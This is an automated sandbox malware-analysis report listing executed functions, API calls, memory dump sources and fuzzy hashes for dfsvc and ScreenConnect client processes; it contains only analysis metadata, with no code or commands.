Signature Coverage:	0%
Total number of Nodes:	621
Total number of Limit Nodes:	80

Executed Functions

Function 00007FFAAC471488 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 413COMMON

Download Yara Rule

Strings

2N_I, xrefs: 00007FFAAC471504

Memory Dump Source

Source File: 00000001.00000002.3179309726.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac470000_dfsvc.jbxd

Similarity

API ID:
String ID: 2N_I
API String ID: 0-859961171
Opcode ID: 6ecca39084fdeb0db7d1783318b8ac2138390ff48732240d2477755e6be67f45
Instruction ID: 76d15595e2b2befb02cc41f9601fe0995d596c3197ac67bab95df182bed72378
Opcode Fuzzy Hash: 6ecca39084fdeb0db7d1783318b8ac2138390ff48732240d2477755e6be67f45
Instruction Fuzzy Hash: 8DC134A2E0EBD58FF74997A8581D2796FE1EF52314B0881BAD04EC7197ED28D80983C5

Function 00007FFAAC481612 Relevance: 1.8, APIs: 1, Instructions: 281networkCOMMON

Download Yara Rule

APIs

InternetGetCookieW.WININET ref: 00007FFAAC4817F6

Memory Dump Source

Source File: 00000001.00000002.3179309726.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac470000_dfsvc.jbxd

Similarity

API ID: CookieInternet
String ID:
API String ID: 930238652-0
Opcode ID: 3573defc85e36c70e32be05f1d335bd587f4f875884aed76b9300ccc75b41e88
Instruction ID: 3c29d8e6e560082752a682e36087b7409881dcde8602c81f0e941640b266969d
Opcode Fuzzy Hash: 3573defc85e36c70e32be05f1d335bd587f4f875884aed76b9300ccc75b41e88
Instruction Fuzzy Hash: 3191D230509A8D8FEB69DF28C8597F53BE1FF59311F04826FD84EC7292CA74A9458B81

Function 00007FFAAC4799EB Relevance: 1.7, APIs: 1, Instructions: 174fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FFAAC479B1C

Memory Dump Source

Source File: 00000001.00000002.3179309726.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac470000_dfsvc.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 6cf2ba8167380e1db1d1b6297ec42cf490535f433c7a5e6d7fbb103eaec53ce4
Instruction ID: c166993cd3aa7bb993b39db269243d693abf78ea00fdd3b334f2880935d91140
Opcode Fuzzy Hash: 6cf2ba8167380e1db1d1b6297ec42cf490535f433c7a5e6d7fbb103eaec53ce4
Instruction Fuzzy Hash: 8051917191CA5C8FDB68EF58D845BE9BBE0FB69310F1481AEE04DD3252CB34A945CB81

Function 00007FFAAC35EEBF Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3178810746.00007FFAAC35D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC35D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac35d000_dfsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 837f0bcc348962f7761fc8a4dc500f131d0a1c5ddb690ea9b3fcd420d4fdb504
Instruction ID: 11df4f20aebd56ef31d3005180746197e6a8ed9f6c1770d5197e87f36845615d
Opcode Fuzzy Hash: 837f0bcc348962f7761fc8a4dc500f131d0a1c5ddb690ea9b3fcd420d4fdb504
Instruction Fuzzy Hash: 0141287180DBC48FE356CB2898459527FF0EF47320B1541EFD088CB1A7DA29E84AC7A2

Analysis Process: ScreenConnect.WindowsClient.exePID: 7440, Parent PID: 2628COMMON

Execution Graph

Execution Coverage:	13.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFAAC454890 Relevance: 1.7, APIs: 1, Instructions: 228
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTokenInformation.KERNELBASE ref: 00007FFAAC46F2C6

Memory Dump Source

Source File: 00000007.00000002.1571407783.00007FFAAC450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaac450000_ScreenConnect.jbxd

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 4757e2f96637380675e55542bd1a267824a85f485e5e62f19f22bf15a63028ad
Instruction ID: 185a8f631554f064d2370c9e20ff274ec76e80c367e218cef337835451b53f1d
Opcode Fuzzy Hash: 4757e2f96637380675e55542bd1a267824a85f485e5e62f19f22bf15a63028ad
Instruction Fuzzy Hash: 4B6127B291EBC48FE719879C581A2B87FE0EB96314F0441BFE04D8729BC924DC0983D6

Function 00007FFAAC45F67B Relevance: 1.7, APIs: 1, Instructions: 178
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FFAAC45F7AC

Memory Dump Source

Source File: 00000007.00000002.1571407783.00007FFAAC450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaac450000_ScreenConnect.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ef750e298dc935e2f0435bf4eb61b2960acab1e7308ab6f6deb115ae447eef82
Instruction ID: abdc122b1efbbf2ad6801b19e62690b67d409a2a11fa30761efd1f7cb8985117
Opcode Fuzzy Hash: ef750e298dc935e2f0435bf4eb61b2960acab1e7308ab6f6deb115ae447eef82
Instruction Fuzzy Hash: B651917190CA5C8FEB68DF58D849BE9BBE0FB59314F1441AEE04DD3252CB34A845CB81

Function 00007FFAAC4584B8 Relevance: 1.6, APIs: 1, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetProcessMitigationPolicy.KERNELBASE ref: 00007FFAAC458542

Memory Dump Source

Source File: 00000007.00000002.1571407783.00007FFAAC450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaac450000_ScreenConnect.jbxd

Similarity

API ID: MitigationPolicyProcess
String ID:
API String ID: 1088084561-0
Opcode ID: 03e5658e8c13cf9d80e2e7458a6d951db040932c65722eb409eed00db6274168
Instruction ID: 6ae06b198909ed2372e9a3624e215c88d74c9b77677bfc9a2c3abbf8c8f2c125
Opcode Fuzzy Hash: 03e5658e8c13cf9d80e2e7458a6d951db040932c65722eb409eed00db6274168
Instruction Fuzzy Hash: 3831D77191CB188FDB28DF9CDC4A9F9BBE0EB55711F00412FE44AD3252DB74A8458B81

Function 00007FFAAC453EAA Relevance: 1.6, APIs: 1, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetProcessMitigationPolicy.KERNELBASE ref: 00007FFAAC458542

Memory Dump Source

Source File: 00000007.00000002.1571407783.00007FFAAC450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaac450000_ScreenConnect.jbxd

Similarity

API ID: MitigationPolicyProcess
String ID:
API String ID: 1088084561-0
Opcode ID: 920d9d97a544a3d577a17ff3ca0e3c0eccc1c85185d4b0158d955390879b6e75
Instruction ID: 3a90cf094fbbbad0c35cbe15fd3eaed28466402bfcebbd5c5d67a0ff1f1d59a7
Opcode Fuzzy Hash: 920d9d97a544a3d577a17ff3ca0e3c0eccc1c85185d4b0158d955390879b6e75
Instruction Fuzzy Hash: EB21B97191CB188FDB189F9DDC4A9F97BE0EB55711F00413EE04AD3251DB74B8458B91

Function 00007FFAAC453DFA Relevance: 1.3, APIs: 1, Instructions: 91COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00007FFAAC46F4DC

Memory Dump Source

Source File: 00000007.00000002.1571407783.00007FFAAC450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaac450000_ScreenConnect.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 9c647c9c32868dc47efbc9d8272ceccc62eb8a5bc0171a5312393f4ff219b868
Instruction ID: 3b256dd2507a455eabbafd491b05d079cb0cf394b607c364acdc986874e0cd72
Opcode Fuzzy Hash: 9c647c9c32868dc47efbc9d8272ceccc62eb8a5bc0171a5312393f4ff219b868
Instruction Fuzzy Hash: F021D671908A1C9FDB58DF58C449BF9BBE0FB65321F00422ED04ED3651DB71A856CB90

Analysis Process: ScreenConnect.ClientService.exePID: 7484, Parent PID: 7440COMMON

Executed Functions

Function 010A5658 Relevance: 2.6, Strings: 2, Instructions: 52COMMON

Download Yara Rule

Strings

t*;u, xrefs: 010A569A
t*;u, xrefs: 010A56A4

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: t*;u$t*;u
API String ID: 0-727745153
Opcode ID: 06a6779a26b32fa90728084ddd81dff57a64e0c32ceb9ecdda1ec93358af3509
Instruction ID: 5e1d12e918c8d18ef3988c95be3f303ec7eee328e25db1f8a45767c28bfb8592
Opcode Fuzzy Hash: 06a6779a26b32fa90728084ddd81dff57a64e0c32ceb9ecdda1ec93358af3509
Instruction Fuzzy Hash: 1911A171F00205AFEB64CEA9DC40AAFB7F6BFC8610F54C565E584D7260E77299028B90

Function 010A1828 Relevance: 2.5, Strings: 2, Instructions: 42COMMON

Download Yara Rule

Strings

$q, xrefs: 010A188D
$q, xrefs: 010A1899

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: $q$$q
API String ID: 0-3126353813
Opcode ID: 4f6ce1ac6eef309a5c54ebd9f2c74bf53ae14963c89b226e285df4153e3f611a
Instruction ID: d3e7c172072086b8d76f5fc2eb621f40bba13b3357f41d33d4b1148abec0aa64
Opcode Fuzzy Hash: 4f6ce1ac6eef309a5c54ebd9f2c74bf53ae14963c89b226e285df4153e3f611a
Instruction Fuzzy Hash: DC014934A00304CFE7259B75E40C6267BF6FF45611B1640EBE885CB226DB35DC02CB41

Function 010A20B5 Relevance: 1.6, Strings: 1, Instructions: 371COMMON

Download Yara Rule

Strings

, xrefs: 010A237E

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID: 0-76226702
Opcode ID: a1f5cd46012da9e4cf837c15edca717f27b8befb034c452356217d0a2ef86151
Instruction ID: bdd5bef7db0bbcb8819538100ba677432d20f00046a985eeccfee1a33997f286
Opcode Fuzzy Hash: a1f5cd46012da9e4cf837c15edca717f27b8befb034c452356217d0a2ef86151
Instruction Fuzzy Hash: 8B51D2347003018FD715EB79D8946AE7BF2AF89210B5485B9E586CB365EF35DC02CB90

Function 010A5238 Relevance: 1.4, Strings: 1, Instructions: 192COMMON

Download Yara Rule

Strings

(q, xrefs: 010A525A

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: (q
API String ID: 0-2414175341
Opcode ID: 6bf373b2fb0852004b4cbe19bdb69aa879372f9185d05181d5bd7a2d45e09dbc
Instruction ID: ef897abac7b4ed2001f10585ec613cf7fc506642b30d9e9704c0c6fbfd662aea
Opcode Fuzzy Hash: 6bf373b2fb0852004b4cbe19bdb69aa879372f9185d05181d5bd7a2d45e09dbc
Instruction Fuzzy Hash: 8F612978B106059FDB14DFA9E894A9EB7F2FF8D214B508198E5469F325DB30EC02DB40

Function 010A6F40 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

LRq, xrefs: 010A70CB

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: LRq
API String ID: 0-3187445251
Opcode ID: 395cfb52f281026b06c242d58e794c7fb16bd8976985bf5db946274fe5c59c32
Instruction ID: 33048656b47c588a174bd4c12c589f47509179af20ea93a596e742375e7e688c
Opcode Fuzzy Hash: 395cfb52f281026b06c242d58e794c7fb16bd8976985bf5db946274fe5c59c32
Instruction Fuzzy Hash: B1510530B00214DFDB259BA8D854B6EBBF2BF84310F14C56AE996DB2A5DB36DC44C781

Function 010A42F0 Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

(q, xrefs: 010A4311

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: (q
API String ID: 0-2414175341
Opcode ID: 914ea462f78813c92da1d007b5ec27d5e06b4f5e8889208cf2ee415e23392d03
Instruction ID: 9c20d11309a64f973406736040e7e8e40e4c4ebc46223b65939edcf414535f43
Opcode Fuzzy Hash: 914ea462f78813c92da1d007b5ec27d5e06b4f5e8889208cf2ee415e23392d03
Instruction Fuzzy Hash: 1041D235A002058BEB24EFA4E4946ADBBB6FFC4310F48C169E9459F249DF75A803CB91

Function 010A3480 Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

[', xrefs: 010A3548

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: ['
API String ID: 0-410297704
Opcode ID: 7f1ea21a8cae6705dcfebe4cfd2583252450da644f148fde5f5097accdab3653
Instruction ID: a8972592cf00157aa7c2f093aaa97c694afa12d02eb9521fc983f28eda196aef
Opcode Fuzzy Hash: 7f1ea21a8cae6705dcfebe4cfd2583252450da644f148fde5f5097accdab3653
Instruction Fuzzy Hash: EC31F638B003215B9725ABBDD89049EB7E6FB892103404B28D459DF344EF30FD068BD1

Function 010A5649 Relevance: 1.3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

Strings

t*;u, xrefs: 010A569A

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: t*;u
API String ID: 0-3961405802
Opcode ID: ed6839d38dccfb636a30af376f671fcbcc38c494188944a76747b9cc5a788e38
Instruction ID: 06939f9088bf60c19d66d6598a0493c02dcb98c280a86855e42003a7573cfaf0
Opcode Fuzzy Hash: ed6839d38dccfb636a30af376f671fcbcc38c494188944a76747b9cc5a788e38
Instruction Fuzzy Hash: 9B116176E00214ABEB20CEA9DC40BEAB7F5FF88710F54C5A5E594D7250E7719902CB90

Function 010A7691 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6b91bc622282d3da89b1e5c2eac54150432e5acfe4335f714be1a2b5276b958
Instruction ID: f3d4b1d2b8579ad0559546e9b08269763f3021a38fa5e03e7dce195d9b80888f
Opcode Fuzzy Hash: b6b91bc622282d3da89b1e5c2eac54150432e5acfe4335f714be1a2b5276b958
Instruction Fuzzy Hash: 3551AF35D103199FEB11EFB4E8517DDBBB1EF89300F508165E044AB294EB359886CB61

Function 010A7770 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52d89937231bffc66d427302372eec56814891e7f9be6cb9b512273400e0eef8
Instruction ID: 61119ce9ad0c16d407683612fa860b7c5a0a09189938f7a28e53621d593bfa69
Opcode Fuzzy Hash: 52d89937231bffc66d427302372eec56814891e7f9be6cb9b512273400e0eef8
Instruction Fuzzy Hash: DB51BE34E003198FDB11DFB5E844BDDBBB1FF88310F50866AE144AB294EB35A886CB50

Function 010A4940 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9d602a4086cd6591db947955bd3548df3c3348ba2a2af3db94fc26d9a2ba568
Instruction ID: aacef08e3b78c110bb382f106f3746020112f63a040bf66969001036c5e66590
Opcode Fuzzy Hash: d9d602a4086cd6591db947955bd3548df3c3348ba2a2af3db94fc26d9a2ba568
Instruction Fuzzy Hash: D7512A386007018FD734CF69D494A56B7F2FF8D624B544A5CE49ACB7A4DB71E802CB44

Function 010A3678 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8a1fa27ac6b257cefa7156a7ee49027e9015d7b04b646506f6c414a569b61cd
Instruction ID: 13ec95b6932094dca41c767e67c96fb8103e451dc5d8000efae021b008da6547
Opcode Fuzzy Hash: a8a1fa27ac6b257cefa7156a7ee49027e9015d7b04b646506f6c414a569b61cd
Instruction Fuzzy Hash: 69414A74A007068FDB74CF79D84469EBBF1FF48710B108A68E496DB6A4EB30E845CB90

Function 010A366C Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1f0967650d85f7c1d16a0b1f2793a3217a9829f6c90d4e81ad730cdbf30d126
Instruction ID: c36012090b3d10d1572190a02d893440b6aeb8910084a8a6cf8d03eb40cfb763
Opcode Fuzzy Hash: f1f0967650d85f7c1d16a0b1f2793a3217a9829f6c90d4e81ad730cdbf30d126
Instruction Fuzzy Hash: CA414A74A00706CFDB74CF69D44469ABBF1FF48710B148A68E496DB6A4EB31E845CB90

Function 010A3DC0 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcaa3c20119d155bd3408c8c48315da11299b115aa17b3279ce01a8fbddde6c3
Instruction ID: 7dcaa77b201d8f9a385df892e6016f188c1995f8a2b169f58a1e95749b3f1ba8
Opcode Fuzzy Hash: fcaa3c20119d155bd3408c8c48315da11299b115aa17b3279ce01a8fbddde6c3
Instruction Fuzzy Hash: 55318D31B002058FEB24DFA9C4946AFF7F5EF8A354F10946AE50AEB690DB309C018B90

Function 010A16C8 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96c1fa66792f793ff12c4b1e66ddf4f04fc19af04752a4f9d940386399b60beb
Instruction ID: fc76d388b457ef01235e7d4d0b612246ef50b766141e0b202b0c94655b782f84
Opcode Fuzzy Hash: 96c1fa66792f793ff12c4b1e66ddf4f04fc19af04752a4f9d940386399b60beb
Instruction Fuzzy Hash: B631AFABC153519BE3215E78CE5B3847EE0CFB3018B1C4256C688E5E4AE75CE2048796

Function 010A3828 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b6e20490f5ab14a686b2d5494250cac7d870d68682e2e5a360fe6645edc7de9
Instruction ID: cec2920ce9ee12a76114597bfce7ca48d0852a07e31b1bd38952cf35cf142411
Opcode Fuzzy Hash: 8b6e20490f5ab14a686b2d5494250cac7d870d68682e2e5a360fe6645edc7de9
Instruction Fuzzy Hash: 2931EE70F042068FDB14DBA8D8546AEFBB6FFC9210B1481AAD949EF380DA309D02C791

Function 010A5548 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7a9a2e60782f7e1db3c686929c494688098c1b6543083f6f7ec3f41a2b983c2
Instruction ID: 1e5b0212faba3ff901a3fa41a1c396802726c335e361335c4490f6b14f2e9ea7
Opcode Fuzzy Hash: c7a9a2e60782f7e1db3c686929c494688098c1b6543083f6f7ec3f41a2b983c2
Instruction Fuzzy Hash: 65314934A007018FD770CF69D884A6AB7F2FF89720B544A6CE496CB7A5D731E805CB91

Function 010A4FD0 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b149d11c15b939ed2fbec5f60dfb00e9425044da18ee70f551f1338016a6750
Instruction ID: a7102cd46975061574457795ed4edc7a626b0e39350abccd1a00a6167ab363b3
Opcode Fuzzy Hash: 8b149d11c15b939ed2fbec5f60dfb00e9425044da18ee70f551f1338016a6750
Instruction Fuzzy Hash: D0316B31E00219DFCF14DFA8E8809CDBBB6FF89305B10842AE5057B260DB35A906CBA0

Function 010A50C1 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cebf8fbca9a40d3a3ae6655075ed3f532bd03f8f3e6bfdd561bf9cd4d330c1c
Instruction ID: ca818c31e6c64f53cade56b1792fef44fcf76ef87c41db495bd48a964edfd029
Opcode Fuzzy Hash: 3cebf8fbca9a40d3a3ae6655075ed3f532bd03f8f3e6bfdd561bf9cd4d330c1c
Instruction Fuzzy Hash: 2F11A279B002515BD724EB78E8907AE7BF2FBC5210F449629E449AF390DF70AD0687E1

Function 010A4B70 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 066a11a3c1ee7d954fc4ce507ca6ff5e97b237db962c90983a265b36e6394571
Instruction ID: c60285ae254178f14c29283f01cfe4dc472383d6bed6661e549ab98b230e155a
Opcode Fuzzy Hash: 066a11a3c1ee7d954fc4ce507ca6ff5e97b237db962c90983a265b36e6394571
Instruction Fuzzy Hash: 5C214A346007058FD774CF6AC84869ABBF1EF44320F048B6CE5D69B6A5DB71A94ACF90

Function 010A50D0 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b268de392b6862d669738c6e216296729b0d6e6d4303db22d70237b902b63c4c
Instruction ID: d68d5f54b8246d9dca5e6ef474bf9fd33e0b7bd27e2f71a0e55da273503499d8
Opcode Fuzzy Hash: b268de392b6862d669738c6e216296729b0d6e6d4303db22d70237b902b63c4c
Instruction Fuzzy Hash: 7A11B675B002155BD724EB68D890BAEB7E6FBC5610F408628E509AF380DF70AD0687E1

Function 010A4F41 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b70d7795e898c346c62b4fed65b1376408e4806050e1167377f23c6711c7ffe2
Instruction ID: 6f55962ad9c99e8d1cc8eab3028ac858da9e5d8af0cc28b063690a4f80eb659b
Opcode Fuzzy Hash: b70d7795e898c346c62b4fed65b1376408e4806050e1167377f23c6711c7ffe2
Instruction Fuzzy Hash: C4111F35D0021A9FCF50DFA4D980ADEBBF5FF49304F10856AE505BB260E771AA06CBA1

Function 010A5035 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de73744088fb24b211d82129ac4ca4125a7de0e66f149601e2e0379cc4690ca4
Instruction ID: 6fb92e84dbff3d1ea01ff88410a0b8016c84ed596e90b6c39100ddbc002489a8
Opcode Fuzzy Hash: de73744088fb24b211d82129ac4ca4125a7de0e66f149601e2e0379cc4690ca4
Instruction Fuzzy Hash: 60115831940249DFDB10DFA8D8849ECBBF2FF84314B98C554E085AB116DB35A947CBA1

Function 010A1E41 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5211d91126d837eb0d2f5d06fcf509bf06f0bce0072d16f09c04aae03dba1bbc
Instruction ID: 729ace0d1b423952b7517dbab7102f6f14fc408f6566cf4169a2f9c3300c072b
Opcode Fuzzy Hash: 5211d91126d837eb0d2f5d06fcf509bf06f0bce0072d16f09c04aae03dba1bbc
Instruction Fuzzy Hash: 1D012475950204EFD705EFF098812A87BF8FB01314F40826BD198DE112CB719D42CBA2

Function 010A6E58 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10a0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19e60ed529f7042689d45c835d877d8c26dc6996da343b172cf5331848c35dbf
Instruction ID: ac8dca69bd0ebcc9fcbd26c75c61c1f6cb44e30f254b8ec0d76ff0d96efdd339
Opcode Fuzzy Hash: 19e60ed529f7042689d45c835d877d8c26dc6996da343b172cf5331848c35dbf
Instruction Fuzzy Hash: 0501B135B003219BDB149BA9D84519BBBF9FBC87207148A2EE445CB341DBB69C028BD0

Function 010A4F50 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1566810300.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

